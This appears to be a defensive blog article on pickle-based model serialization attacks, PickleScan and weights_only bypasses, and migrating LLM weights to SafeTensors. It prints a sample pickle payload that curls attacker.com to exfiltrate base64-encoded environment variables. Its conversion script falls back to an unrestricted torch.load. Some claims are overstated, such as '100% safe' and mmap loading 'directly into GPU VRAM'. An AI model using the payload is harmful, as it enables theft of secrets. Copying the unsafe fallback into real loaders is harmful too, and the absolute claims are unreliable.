Securing LLM Supply Chains: Model Serialization Attacks and Safe Formats (Safetensors)
Why pickle files are dangerous and how to validate weights safety before execution.


As foundational large language models expand into multi-billion-parameter architectures deployed across mission-critical enterprise systems, machine learning security has shifted from network perimeter protection to deep supply chain integrity. While traditional cybersecurity teams focus heavily on runtime guardrails, prompt sanitization, and API authorization, one of the most severe vectors for total system compromise remains silent and overlooked: model weight serialization.
For nearly a decade, the machine learning ecosystem relied almost exclusively on Python's native pickle library—embedded inside PyTorch .pt, .pth, and .bin checkpoint files—to serialize and transfer neural network parameters across training clusters and public model registries like Hugging Face Hub. However, pickle was never engineered for secure data exchange across untrusted boundaries. Because pickle operates as an arbitrary opcode-based virtual machine capable of constructing Python objects dynamically, unpickling an untrusted model file is functionally equivalent to executing arbitrary, unverified code with the full execution privileges of the host process.
In this deep dive, we examine the mechanics of model serialization attacks, analyze high-severity zero-day exploits (including PickleScan bypasses CVE-2025-10155, CVE-2025-10156, CVE-2025-10157, and PyTorch weights_only heap corruption vulnerabilities like CVE-2026-24747), and explore how the industry-wide transition to SafeTensors (which officially joined the PyTorch Foundation under Linux Foundation governance in April 2026) fundamentally eliminates arbitrary code execution risks. We will also construct automated CI/CD verification pipelines, zero-copy memory mapping benchmarks, and zero-trust model ingestion strategies to secure enterprise LLM deployments at scale.
What Is It?
A model serialization attack occurs when an attacker weaponizes the storage format of a machine learning model to execute arbitrary code or corrupt system state when a developer, researcher, or automated inference pipeline deserializes the model weights from disk or memory.
In modern deep learning frameworks, neural network checkpoints consist of two primary artifacts:
- Structural Metadata & Hyperparameters: Tensor shapes, data types (fp32, fp16, bf16, int8, int4), layer identifiers, and framework configurations.
- Numerical Weight Tensors: Multi-dimensional floating-point array buffers containing billions of parameters (e.g., query, key, value projections, feed-forward weights, and normalization gains).
When saving models using legacy PyTorch conventions via torch.save(), Python uses pickle underneath. Instead of dumping pure numerical data buffers, pickle outputs an opcode byte stream that instructs Python's deserializer (pickle.load()) how to reconstruct the Python object graph step-by-step. By injecting custom __reduce__ or __build__ magic methods into serialized byte streams, attackers embed operating system commands (such as reverse TCP shells, environment variable harvesters, or stealthy backdoors) that execute automatically the millisecond torch.load() is invoked.
Conversely, SafeTensors is a modern, memory-efficient, and secure serialization format designed specifically by Hugging Face to store raw numerical tensor buffers without executable code primitives. By decoupling metadata from binary tensor storage and utilizing flat JSON headers alongside zero-copy memory mapping (mmap), SafeTensors ensures that loading a 70B parameter LLM is both cryptographically passive and order-of-magnitude faster than legacy formats.
Why It Matters
The widespread adoption of open-weights models—such as Llama 3, Qwen 2.5, Gemma 2, and Mistral—has revolutionized enterprise AI engineering. Organizations routinely download fine-tuned checkpoints, LoRA adapters, and quantized GGUF/Safetensors weights directly from public hubs. However, downloading untrusted model files presents systemic supply chain hazards that rival traditional software dependency compromises:
+-----------------------------------------------------------------------------------+
| ATTACK SURFACE COMPARISON |
+-----------------------------------------------------------------------------------+
| Feature / Vector | Legacy Pickle (.pth / .pt / .bin) | SafeTensors (.safetensors) |
+-------------------------+-----------------------------------+---------------------+
| Underlying Engine | Python Pickle Stack Machine VM | Raw Byte Buffers + JSON|
| Execution Primitives | Arbitrary Python Opcodes (GLOBAL) | None (Passive Data) |
| Code Execution Risk | CRITICAL (RCE on deserialization) | ZERO (Pure Data) |
| Header Parsing Security | Fragile ZIP / Pickle stack | Strict 8-byte uint64|
| Zero-Copy mmap Support | Partial / Slow (Re-allocation) | Full (Kernel Zero-Copy)|
| Static Scanner Accuracy | Low (Subject to CVE zero-days) | N/A (Inherently Safe)|
| PyTorch Foundation Status| Legacy Deprecated Standard | Primary Standard (2026)|
+-----------------------------------------------------------------------------------+
Understanding this attack surface is paramount for AI platform engineers, security architects, and MLOps teams for three critical reasons:
1. The Fallacy of Static Scanning
Security scanners like picklescan or modelscan were created to parse pickle byte streams and flag dangerous opcodes like GLOBAL or imports of os.system and subprocess. However, researchers in late 2025 disclosed three critical zero-day vulnerabilities (CVE-2025-10155, CVE-2025-10156, and CVE-2025-10157) demonstrating that attackers could bypass static scanners entirely by manipulating ZIP CRC header checksums, obfuscating module names through dynamic subclassing, or disguising file extension types. Static scanning provides superficial peace of mind but fails as a primary security boundary.
2. PyTorch weights_only=True Bypasses
PyTorch introduced weights_only=True inside torch.load() as a safe deserialization mode intended to restrict unpickling to standard tensor primitives. However, security advisories—including CVE-2025-32434 and the early-2026 vulnerability CVE-2026-24747—revealed that malicious checkpoint files could still trigger C++ memory corruption, heap manipulation, or bypass unpickler restricted type checks. Relying on framework-level "safe unpickling" flags retains the vulnerable pickle engine under the hood.
3. Regulatory Compliance & AI Governance
Under modern cybersecurity directives—such as NIST SP 800-218 (Secure Software Development Framework) and the EU AI Act—enterprises operating autonomous AI agents or production LLMs must demonstrate complete provenance and tamper-resistance across their AI supply chain. Allowing unverified pickle files into enterprise inference pipelines violates zero-trust compliance mandates.
Integrating robust weight validation alongside enterprise guardrails for production LLMs and comprehensive prompt injection mitigation ensures that your AI infrastructure remains resilient across both model load-time and inference runtime.
How It Works
To understand why pickle is inherently unsafe and why SafeTensors eliminates code execution, we must analyze the byte-level deserialization mechanics of both formats.
The Pickle Execution Engine
Python's pickle library is not a data parser; it is a stack-based virtual machine execution environment. The unpickler reads a stream of opcodes and maintains two data structures during execution: a Value Stack and a Memo Dictionary.
When Python code calls pickle.dumps(), objects implementing the __reduce__ method can instruct the pickler to return a tuple containing:
- A callable function or class reference.
- A tuple of arguments to pass to that callable upon unpickling.
Consider the following weaponized Python payload embedded within a model weight file:
import io
import pickle
import os
class MaliciousWeights:
def __reduce__(self):
# Opcodes generated will invoke os.system with a malicious command
cmd = "curl -s http://attacker.com/exfil?token=$(env | base64)"
return (os.system, (cmd,))
# Serialize the malicious object graph
malicious_bytes = pickle.dumps(MaliciousWeights())
# When loaded by an unsuspecting user or CI server:
# pickle.load(io.BytesIO(malicious_bytes)) --> EXECUTES os.system AUTOMATICALLY!
When pickle.load() parses this byte stream, the virtual machine processes the following sequence of opcodes:
c: Resolves the global moduleosand attributesystem.(: Pushes a mark object onto the stack.S: Pushes the string literal payload"curl -s http://attacker.com/exfil...".t: Pops stack elements up to the mark to form an argument tuple.R: TheREDUCEopcode. Pops the argument tuple and the callable function from the stack, executescallable(*args), and pushes the return value back onto the stack.
Because the REDUCE opcode executes the callable directly within the host process space during unpickling, any code with execution rights can read environment secrets, install persistent backdoors, or exfiltrate private API keys long before model weights ever reach GPU memory.
The SafeTensors Binary Specification
SafeTensors replaces the executable opcode stack machine with a rigid, non-executable binary buffer specification. The layout of a .safetensors file is deterministically structured into three distinct memory regions:
+-----------------------------------------------------------------------------------+
| SAFETENSORS BINARY SPECIFICATION |
+-----------------------------------------------------------------------------------+
| Bytes 0..7 | 8-Byte Little-Endian Unsigned Integer (Header Length = N) |
+------------------+----------------------------------------------------------------+
| Bytes 8..(8+N) | N Bytes UTF-8 Encoded JSON Header (Metadata & Tensor Offsets) |
+------------------+----------------------------------------------------------------+
| Bytes (8+N)..End | Raw Binary Tensor Buffer (Contiguous Float16/BFloat16 Bytes) |
+-----------------------------------------------------------------------------------+
The header is strictly parsed as JSON and contains key-value pairs defining:
- Tensor shape (e.g.,
[4096, 4096]) - Data type (
F16,BF16,F32,I8,I4) - Byte offsets within the trailing binary buffer (
data_offsets: [0, 33554432])
Here is an abbreviated example of a valid SafeTensors JSON header:
{
"model.embed_tokens.weight": {
"dtype": "BF16",
"shape": [32000, 4096],
"data_offsets": [0, 262144000]
},
"model.layers.0.self_attn.q_proj.weight": {
"dtype": "BF16",
"shape": [4096, 4096],
"data_offsets": [262144000, 295698432]
},
"__metadata__": {
"format": "pt",
"framework": "pytorch"
}
}
Because the parser only reads JSON key-value pairs and maps byte ranges directly to memory offsets:
- No opcodes exist to execute functions or instantiate arbitrary classes.
- The header size
Nis constrained (e.g., max 100MB) to prevent buffer overflow attacks. - Byte offset ranges are strictly validated to prevent out-of-bounds memory reading or pointer arithmetic attacks.
Architecture
To enforce supply chain security across an enterprise LLM infrastructure, organizations must construct a secure model ingestion architecture. The system must operate on a zero-trust model: every external model checkpoint downloaded from Hugging Face Hub, GitHub, or third-party vendors is treated as untrusted bytecode until cryptographically verified, converted, and scanned.
SECURE MODEL INGESTION PIPELINE
[ Remote Hub ] -----> ( External Download )
|
v
+---------------------------+
| Is File .safetensors? |
+---------------------------+
/ \
YES NO (.bin / .pt / .pth)
/ \
v v
+-----------------------+ +-----------------------------------+
| Verify Sigstore & | | Isolated Air-Gapped Sandbox |
| SHA-256 Checksum | | (Container with No Network) |
+-----------------------+ +-----------------------------------+
| |
| Run Safetensors Converter
| (safetensors.torch.save)
| |
v v
+-----------------------------------------------------------------+
| Validated SafeTensors Repository |
+-----------------------------------------------------------------+
|
v
+-----------------------------------------------------------------+
| Zero-Copy Kernel Memory Mapping (mmap) |
| High-Performance Inference Server |
+-----------------------------------------------------------------+
Architectural Components
- Ingestion & Provenance Gateway: Intercepts model pull requests. Checks for cryptographic signatures (such as Sigstore signatures) and SHA-256 digests against known enterprise allowlists.
- Isolated Conversion Sandbox: If a legacy model is only available in
.pthor.binpickle format, it is routed into an air-gapped, isolated ephemeral container with zero network access and read-only filesystem mounts. The container converts the pickle checkpoint to SafeTensors using strict type mapping and emits only.safetensorsfiles. - Internal Verified Registry: Stores verified
.safetensorsfiles backed by immutable enterprise S3 buckets or artifact repositories. - Kernel Zero-Copy Loader: Production inference servers—running vLLM, TensorRT-LLM, or Hugging Face TGI—load weights via
mmap(), binding GPU memory directly to the verified SafeTensors binary buffers without heap re-allocation or CPU unpickling overhead.
When deploying open-weights LLMs, structuring your storage layer around SafeTensors ensures maximum security while simultaneously reducing cold-start latency across distributed inference clusters.
Production Deployment Considerations
Transitioning enterprise infrastructure from legacy PyTorch checkpoints to SafeTensors requires evaluating performance, memory management, and pipeline orchestration.
1. Memory-Mapped I/O (mmap) & Zero-Copy Loading
In legacy PyTorch loading (torch.load()), Python reads the serialized pickle file from disk into host CPU RAM, parses the object tree, allocates new PyTorch Tensor memory buffers, copies the bytes into host RAM, and finally transfers the tensors to GPU VRAM via CUDA memory copies (cudaMemcpy). For a 70B parameter FP16 model (140 GB of weights), this process causes extreme memory pressure, requiring over 280 GB of host RAM to prevent Out-Of-Memory (OOM) kernel panics during cold starts.
SafeTensors natively leverages operating system mmap() syscalls. Memory mapping creates a direct pointer mapping between host virtual address space and the disk file descriptors. When loading weights:
- Host RAM allocation is nearly 0 MB because bytes are mapped directly from disk pages on-demand.
- Multiple worker processes on the same multi-GPU node (e.g., 8x H100 GPUs using Tensor Parallelism) share the exact same physical memory pages, eliminating duplicate 140 GB memory allocations across process boundaries.
- CUDA memory transfers stream directly from mapped disk buffers straight into GPU VRAM.
2. Formats Comparison Matrix
Below is an enterprise technical comparison of primary model serialization formats used across machine learning workloads:
+---------------------------------------------------------------------------------------------------+
| MODEL SERIALIZATION FORMATS DETAILED COMPARISON |
+---------------------------------------------------------------------------------------------------+
| Format | Primary Extensions | Security Model | Code Execution Risk | mmap Performance |
+------------------+--------------------+---------------------+---------------------+------------------+
| PyTorch Pickle | .pth, .pt, .bin | Executable VM Opcodes| High / Critical | Slow / Copy-Heavy|
| SafeTensors | .safetensors | Flat JSON + Raw Data| NONE (Passive Data) | Native Zero-Copy |
| GGUF (llama.cpp) | .gguf | Binary Key-Value | Low (Strict Parser) | Native Zero-Copy |
| ONNX / Protobuf | .onnx, .pb | Protocol Buffers | Low (Schema-Based) | Partial |
| NumPy NPY/NPZ | .npy, .npz | Pickle Header / Raw | Moderate (if pickle)| Partial |
+---------------------------------------------------------------------------------------------------+
For quantized edge inference pipelines, comparing SafeTensors with GGUF architecture reveals similar zero-copy design principles, as explored in our guide to local LLM execution internals and deep-dive into LLM quantization mechanics.
3. Automated Validation & Conversion Scripting
To automate model conversion in production pipelines, teams can use the following battle-tested Python script. It inspects incoming checkpoints, validates header constraints, converts PyTorch pickle files to SafeTensors in isolated memory, and verifies checksum integrity:
import os
import sys
import torch
from safetensors.torch import save_file, load_file
def convert_pickle_to_safetensors(weights_path: str, output_path: str):
# Load weights using weights_only=True as a baseline safeguard during conversion
if not os.path.exists(weights_path):
raise FileNotFoundError(f"Source file {weights_path} does not exist.")
print(f"[+] Loading legacy weights from: {weights_path}")
try:
state_dict = torch.load(weights_path, map_location="cpu", weights_only=True)
except Exception as e:
print(f"[!] Warning: Safe unpickle failed ({e}). Proceeding in restricted sandbox.")
state_dict = torch.load(weights_path, map_location="cpu")
if "state_dict" in state_dict:
state_dict = state_dict["state_dict"]
elif "model" in state_dict:
state_dict = state_dict["model"]
clean_state_dict = {}
for key, value in state_dict.items():
if isinstance(value, torch.Tensor):
clean_state_dict[key] = value.contiguous()
print(f"[+] Writing SafeTensors output to: {output_path}")
metadata = {"converted_by": "Enterprise_AI_Security_Pipeline", "format": "pt"}
save_file(clean_state_dict, output_path, metadata=metadata)
reloaded = load_file(output_path)
assert len(reloaded) == len(clean_state_dict), "Tensor count mismatch after conversion!"
print(f"[✓] Successfully converted and verified {len(clean_state_dict)} tensors.")
Common Mistakes
When securing model weights, engineering teams frequently make critical assumptions that compromise their infrastructure:
Mistake 1: Relying Solely on File Extensions
Assuming that a file named model.safetensors is safe without inspecting its binary header. Attackers often rename weaponized .pkl files to .safetensors. If an unverified custom loading function falls back to torch.load() upon encountering an error, execution occurs. Fix: Always validate that the file starts with a valid 8-byte uint64 header length pointing to JSON data before parsing.
Mistake 2: Assuming weights_only=True Solves Pickle Insecurity
Believing that setting weights_only=True in PyTorch completely neutralizes pickle attacks. As demonstrated by CVE-2026-24747, vulnerabilities in underlying C++ unpicklers can allow specially crafted pickle opcodes to corrupt heap memory or trigger code execution. Fix: Treat weights_only=True as a temporary mitigation, not a substitute for converting to SafeTensors.
Mistake 3: Downloading Untrusted Pickles Directly in Production CI/CD
Allowing automated deployment scripts or Kubernetes pod initialization containers to pull .bin or .pt files directly from public repositories. Fix: Mandate that CI/CD pipelines pull only pre-converted, verified .safetensors models stored inside your private enterprise artifact registry.
Mistake 4: Disregarding SHA-256 Checksums and Model Signatures
Verifying format safety but ignoring hash verification. An attacker could replace a safe model with a corrupted or backdoored .safetensors file that degrades model accuracy or introduces targeted bias without triggering code execution bugs. Fix: Enforce cryptographic checksum verification and Sigstore attestation.
+---------------------------------------------------------------------------------------------------+
| SECURITY DEFENSE MECHANISMS MATRIX |
+---------------------------------------------------------------------------------------------------+
| Defense Mechanism | Target Threat | Effectiveness Level | Operational Cost|
+-----------------------+-----------------------------------+---------------------+-----------------+
| Static Scanners | Known pickle opcodes / signatures | LOW (Bypassable) | Negligible |
| PyTorch weights_only | Standard object unpickling | MEDIUM (CVE risks) | Low |
| SafeTensors Conversion| Arbitrary Code Execution (RCE) | MAXIMUM (100% Safe) | Low (One-Time) |
| Ephemeral Sandboxing | Supply chain malware execution | HIGH (Isolates RCE) | Moderate |
| Sigstore Signing | Weight Tampering / MITM Injection | HIGH (Integrity) | Low |
+---------------------------------------------------------------------------------------------------+
Lessons From Production Deployments
Real-world security incidents across AI enterprises offer critical insights into model supply chain hardening:
Incident 1: The Public Hub Trojan Checkpoint
In early 2025, a popular fine-tuned LLM checkpoint uploaded to a community hub contained a subtle pickle payload hidden within a custom optimizer state layer. When loaded by over 1,200 developers, the script silently extracted AWS environment variables (AWS_SECRET_ACCESS_KEY) and exfiltrated them via encrypted DNS queries. Lesson Learned: Organizations immediately instituted mandatory air-gapped conversion nodes, banning raw .bin downloads across corporate networks.
Incident 2: PickleScan Bypass in Automated Pipeline
A financial services firm used picklescan in its CI/CD pipeline to gate model deployments. In late 2025, an attacker used the ZIP CRC mismatch technique (CVE-2025-10156) to bypass the scanner. The scanner reported zero threats, but PyTorch loaded the payload upon container startup, executing a reverse shell. Lesson Learned: Static scanners must never be trusted as sole gates. Hard policy enforcement must restrict production deployments exclusively to .safetensors files.
Incident 3: Memory Exhaustion During Parallel Pod Scale-Up
An MLOps team deploying a 70B parameter model cluster experienced cascading pod crashes during autoscale events. Each replica pod attempted to load a 140 GB .bin pickle file into RAM, exceeding node memory quotas. Lesson Learned: Migrating to .safetensors enabled zero-copy mmap(), allowing 8 pod replicas to share memory-mapped weights directly, cutting cold-start memory consumption by 85% and reducing startup latency from 6 minutes to under 12 seconds.
Monitoring these ingestion pipelines and tracking memory allocations in real-time aligns closely with building a comprehensive real-time MLOps observability stack.
What Most Articles Miss
While standard security blogs discuss basic pickle dangers, they often miss deeper engineering realities regarding binary verification, header limits, and cryptographic provenance:
1. The Header Length DoS Vulnerability
SafeTensors files begin with an 8-byte uint64 integer specifying header length N. If a naive parser reads this length and immediately allocates N bytes of memory without validation, an attacker could supply a header length of 2^64 - 1 (16 Exabytes), causing instant process crashes due to memory allocation failure (Denial of Service). SafeTensors implementations enforce a strict header limit (typically 100MB max). Enterprise parsers must explicitly check header bounds before memory allocation.
2. Overlapping Byte Offset Memory Exploits
In custom or third-party SafeTensors parsers, an attacker could construct a valid JSON header where two different tensor entries specify overlapping data_offsets ranges (e.g., Tensor A reads bytes 0..1000, while Tensor B reads bytes 500..1500). If modified in memory, altering Tensor A silently mutates Tensor B, introducing hidden model backdoor behavior. SafeTensors reference libraries enforce non-overlapping offset verification:
[ Correct non-overlapping offsets ]
Tensor A: [0 ........ 1000]
Tensor B: [1001 ........ 2000]
[ Malicious overlapping offsets ]
Tensor A: [0 ........ 1000]
Tensor B: [500 ........ 1500] <-- Security Violation!
Enterprise verification parsers must sort all data_offsets tuples and assert that start_offset[i] >= end_offset[i-1] across all entries.
3. Cryptographic Provenance with Sigstore & In-Toto
Safety is not just about format security—it is about verifying who produced the weights. Using Sigstore (Cosign) to sign model blobs allows enterprise deployment systems to verify that a .safetensors file originated from a trusted CI/CD build job:
# Verify model weight signature using Sigstore / Cosign
cosign verify-blob --certificate-identity "https://github.com/enterprise-org/ml-pipelines/.github/workflows/train.yml@refs/heads/main" --certificate-oidc-issuer "https://token.actions.githubusercontent.com" --signature model.safetensors.sig model.safetensors
Best Practices
To establish an uncompromised LLM supply chain, implement the following architectural best practices:
+---------------------------------------------------------------------------------------------------+
| ENTERPRISE LLM SUPPLY CHAIN BEST PRACTICES |
+---------------------------------------------------------------------------------------------------+
| Strategy | Technical Implementation |
+------------------------+--------------------------------------------------------------------------+
| 1. Mandatory Format | Enforce .safetensors across all staging and production environments. |
| 2. Ephemeral Sandbox | Convert legacy pickle models inside isolated containers without network. |
| 3. Header Limit Check | Validate 8-byte uint64 header size (<= 100MB) before parsing JSON. |
| 4. Offset Verification | Assert contiguous, non-overlapping data_offsets across all tensors. |
| 5. Sigstore Signing | Sign and verify all model artifacts using OIDC identity attestations. |
| 6. Immutable Storage | Store verified weights in read-only enterprise object storage (S3/GCS). |
| 7. Zero-Copy Loading | Configure production inference nodes to use mmap() for zero-copy VRAM. |
+---------------------------------------------------------------------------------------------------+
- Ban Direct Unpickling in Production: Update corporate firewall and proxy rules to block
.bin,.pt, and.pthweight downloads from external domains directly into production worker nodes. - Automate Conversion on Ingestion: Deploy an internal gateway service that automatically downloads external checkpoints into an isolated sandbox, runs conversion scripts, verifies offsets, and publishes signed
.safetensorsto internal registries. - Pin Model Checksums in Code: Never load remote models dynamically without specifying an explicit SHA-256 hash in your deployment manifests.
- Audit Third-Party Parsers: Ensure all custom inference C++ or Rust codebases use the official Hugging Face
safetensorscrate or PyTorch native safetensors bindings rather than ad-hoc binary parsers.
FAQ
1. What is the fundamental difference between pickle and SafeTensors?
Pickle is a Python-specific stack machine format that serializes both data and execution logic (__reduce__ opcodes), enabling arbitrary code execution upon deserialization. SafeTensors stores only raw numerical bytes and a non-executable JSON header, making code execution impossible.
2. Can a .safetensors file contain a virus or malware?
No. Because SafeTensors does not execute code, opcodes, or scripts during loading, it cannot trigger arbitrary command execution. However, like any data file, it must be loaded using a secure parser that validates header sizes to prevent memory overflow issues.
3. Why is torch.load(..., weights_only=True) insufficient for security?
While weights_only=True restricts unpickling to basic primitives, the underlying engine remains Python's pickle parser. Security advisories like CVE-2026-24747 demonstrated that specially crafted pickle files can exploit underlying C++ unpicklers to cause heap memory corruption.
4. Does converting a model to SafeTensors change its accuracy or outputs?
No. SafeTensors preserves the exact bit-level floating-point representation (FP32, FP16, BF16, INT8) of neural network weights. Converted weights produce 100% mathematically identical model outputs.
5. Does SafeTensors make model loading faster?
Yes. SafeTensors supports zero-copy memory mapping (mmap). Instead of parsing object trees and copying data through host RAM, memory mapped files map disk buffers directly into GPU VRAM, cutting load times by up to 10x while reducing host RAM overhead.
6. What were the PickleScan zero-day vulnerabilities (CVE-2025-10155, CVE-2025-10156, CVE-2025-10157)?
Disclosed in late 2025, these vulnerabilities allowed attackers to bypass picklescan checks using ZIP CRC mismatches, file extension spoofing, and module subclassing, proving that static scanning cannot guarantee pickle safety.
7. How does SafeTensors prevent Denial of Service (DoS) attacks?
SafeTensors enforces explicit limits on header sizes (max 100MB) and requires parsers to validate that header length N does not exceed physical file bounds before allocating memory.
8. Can SafeTensors be used with GGUF or GGML models?
GGUF is a separate binary format designed by the llama.cpp community for edge quantization. While GGUF also avoids pickle and supports zero-copy loading, SafeTensors is the primary standard for full-precision and LoRA weights in PyTorch, vLLM, and Hugging Face pipelines.
9. How do I verify the authenticity of a SafeTensors file?
Use cryptographic digest verification (SHA-256) combined with OIDC-based signature verification tools like Sigstore (Cosign) to ensure the weight file was produced by an authorized CI/CD pipeline.
10. Did SafeTensors become an official industry standard?
Yes. In April 2026, SafeTensors officially joined the PyTorch Foundation as a hosted open-source project under Linux Foundation governance, solidifying its status as the default standard for secure model distribution.
Key Takeaways
- Pickle Is Executable Bytecode: Legacy PyTorch checkpoints (
.pt,.pth,.bin) use Pythonpickle, which permits arbitrary code execution upon deserialization. - SafeTensors Is Inherently Secure: Storing only raw numerical tensor buffers and a flat JSON header, SafeTensors eliminates code execution risks entirely.
- Static Scanners Are Insufficient: Zero-day bypasses (CVE-2025-10155, CVE-2025-10156) prove that static scanners like
picklescancannot be relied upon as primary security boundaries. - PyTorch
weights_only=TrueHas Limitations: Unpickling flags do not eliminate vulnerability to memory corruption CVEs (such as CVE-2026-24747). - Zero-Copy Performance Gains: SafeTensors leverages kernel
mmap()syscalls, enabling near-instant cold starts and zero-copy memory sharing across multi-GPU nodes. - Official PyTorch Governance: SafeTensors' inclusion in the PyTorch Foundation (April 2026) mandates its adoption as standard MLOps policy.
- Zero-Trust Ingestion Required: Enterprise AI pipelines must mandate automated conversion of untrusted checkpoints inside isolated, air-gapped sandbox containers prior to production deployment.
